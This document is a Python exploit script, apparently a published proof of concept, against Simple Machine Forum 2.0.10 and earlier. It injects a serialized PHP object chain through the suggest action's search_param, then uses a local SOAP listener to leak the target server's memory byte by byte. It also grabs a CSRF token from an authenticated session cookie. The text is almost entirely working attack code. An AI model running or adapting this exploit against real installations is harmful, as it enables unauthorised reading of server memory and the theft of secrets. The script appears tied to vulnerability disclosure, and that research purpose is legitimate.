SMF (Simple Machine Forum) 2.0.10 Remote Memory Exfiltration
Posted on 25 September 2015
#!/usr/bin/python # -*- coding: iso-8859-15 -*- ############################################################################# # Title: SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit # Authors: Andrea Palazzo # <andrea [dot] palazzo [at] truel [dot] it> # Filippo Roncari # <filippo [dot] roncari [at] truel [dot] it> # Truel Lab ~ http://lab.truel.it # Requirements: SMF <= 2.0.10 # PHP <= 5.6.11 / 5.5.27 / 5.4.43 # Advisories: TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt # TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt # TL-2015-SMF01 n/y/a # Details: http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/ # Demo: https://www.youtube.com/watch?v=dNRXTt7XQxs ############################################################################ import sys, requests, time, os, socket, thread, base64, string, urllib from multiprocessing import Process #Payload Config bytes_num = 000 #num of bytes to dump address = 000 #starting memory address #Target Config cookie = {'PHPSESSID' : '000'} #SMF session cookie target_host = 'http://localhost/smf/index.php' #URL of target installation index.php csrftoken = '' #Local Server Config host = "localhost" port = 31337 #Memory dump variables dumped = '' current_dump = '' in_string = False brute_index = 0 brute_list = list(string.ascii_letters + string.digits) r_ok = 'HTTP/1.0 200 OK' + ' ' r_re = 'HTTP/1.0 302 OK' + ' ' r_body = '''Server: Truel-Server Content-Type: text/xml Connection: keep-alive Content-Length: 395 <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"> <env:Header> <n:alertcontrol xmlns:n="http://example.org/alertcontrol"> <n:priority>1</n:priority> <n:expires>2001-06-22T14:00:00-05:00</n:expires> </n:alertcontrol> </env:Header> <env:Body> <m:alert xmlns:m="http://example.org/alert"> <m:msg>Truel</m:msg> </m:alert> </env:Body> </env:Envelope>''' def serverStart(): print "[+] Setting up local server on port " + str(port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if not sock: print "[X] Fatal Error: Unable to create socket" sock.bind((host, port)) sock.listen(1) return sock def getToken(): global csrftoken print "[+] Trying to get a valid CSRF token" for n in range(3): #3 attempts r = requests.get(target_host, cookies=cookie, allow_redirects=False) r = r.text if(r.find("action=logout;")!=-1): break start = r.find("action=logout;") if (start !=-1): end = (r[start+14:]).find('">') csrftoken = r[start+14 : start+end+14] print "[+] Authentication done. Got token " + str(csrftoken) return True else: print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID." return False def prepareForExploit(): if not(getToken()): #get CSRF token os._exit(1) target = target_host + '?action=suggest&' + csrftoken + '&search_param=test' r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request return def forgePayload(current_try, address): location = "http://" + current_try payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"x00Exceptionx00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}' return payload def sendPayload(payload,null): target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens try: r = requests.get(target, cookies=cookie, allow_redirects=False) except requests.exceptions.RequestException: print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)" os._exit(1) return def limitReached(dumped): if(len(dumped) >= bytes_num): return True else: return False def printDumped(dumped): d = " " cnt = 1 print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host print "[+] ======================= Dumped Data =======================" for i in range(bytes_num): d = d + str(dumped[i]) if (cnt % 48 == 0): print d d = " " if (cnt == bytes_num): print d cnt = cnt + 1 def getSoapRequest(sock): connection, sender = sock.accept() request = connection.recv(8192) return (connection, request) def sendSoapResponse(connection, content): connection.send(content) connection.close() return def getDumpedFromHost(request): i = request.find("Host: ") + 6 v = request[i:i+1] return v def pushDumped(value, string): global dumped global current_dump global brute_index global address global in_string dumped = str(value) + str(dumped) if(string): current_dump = str(value) + str(current_dump) else: current_dump = "" in_string = string address = address-1 brute_index = 0 print "[" + hex(address) + "] " + str(value) return def bruteViaResponse(sock): global brute_index current_try = "" response_ok = r_ok + r_body for n in range(19): connection, request = getSoapRequest(sock) if not request: connection.close() return False if request.find("owned")!=-1: pushDumped(getDumpedFromHost(request), True) sendSoapResponse(connection,response_ok) return True else: if((brute_index+1) == len(brute_list)): sendSoapResponse(connection,response_ok) return False brute_index = brute_index + 1 if not in_string: current_try = brute_list[brute_index] else: current_try = brute_list[brute_index] + str(current_dump) response_re = r_re + 'Location: http://' + str(current_try) + ' ' + r_body sendSoapResponse(connection,response_re) connection, request = getSoapRequest(sock) if request.find("owned")!=-1: pushDumped(getDumpedFromHost(request), True) sendSoapResponse(connection,response_ok) return True sendSoapResponse(connection,response_ok) return False def bruteViaRequest(sock): global brute_index brute_index = 0 current_try = "" while(True): if(brute_index == len(brute_list)): pushDumped(".", False) if limitReached(dumped): printDumped(dumped) return if not in_string: current_try = brute_list[brute_index] else: current_try = brute_list[brute_index] + str(current_dump) payload = forgePayload(current_try,address) thread.start_new_thread(sendPayload,(payload,"")) if not bruteViaResponse(sock): brute_index = brute_index + 1 return def runExploit(): print "[+] Starting exploit" sock = serverStart() prepareForExploit() print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host) bruteViaRequest(sock) sock.close() print "[+] Bye ~ Truel Lab (http://lab.truel.it)" sys.exit(0) runExploit()
